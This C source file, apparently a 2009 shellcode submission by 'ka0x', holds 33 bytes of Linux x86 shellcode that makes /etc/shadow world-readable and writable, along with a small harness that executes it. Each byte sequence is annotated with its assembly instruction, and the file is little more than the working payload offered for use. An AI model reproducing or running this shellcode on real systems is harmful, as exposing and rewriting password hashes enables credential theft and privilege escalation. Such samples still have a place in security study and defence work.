#include <stdio.h>

/* 
  linux/x86 ; chmod(/etc/shadow, 0666) & exit 33 bytes
  written by ka0x - <ka0x01[alt+64]gmail.com>
  lun sep 21 17:13:25 CEST 2009

  greets: an0de, Piker, xarnuz, NullWave07, Pepelux, JosS, sch3m4, Trancek and others!

*/

int main()
{

  char shellcode[] = 
      "\x31\xc0"      // xor eax,eax
      "\x50"        // push eax
      "\x68\x61\x64\x6f\x77"    // push dword 0x776f6461
      "\x68\x2f\x2f\x73\x68"    // push dword 0x68732f2f
      "\x68\x2f\x65\x74\x63"    // push dword 0x6374652f
      "\x89\xe3"      // mov ebx,esp
      "\x66\x68\xb6\x01"    // push word 0x1b6
      "\x59"        // pop ecx
      "\xb0\x0f"      // mov al,0xf
      "\xcd\x80"      // int 0x80
      "\xb0\x01"      // mov al,0x1
      "\xcd\x80";      // int 0x80

  printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 );
  (*(void(*)()) shellcode)();
  
  return 0;
}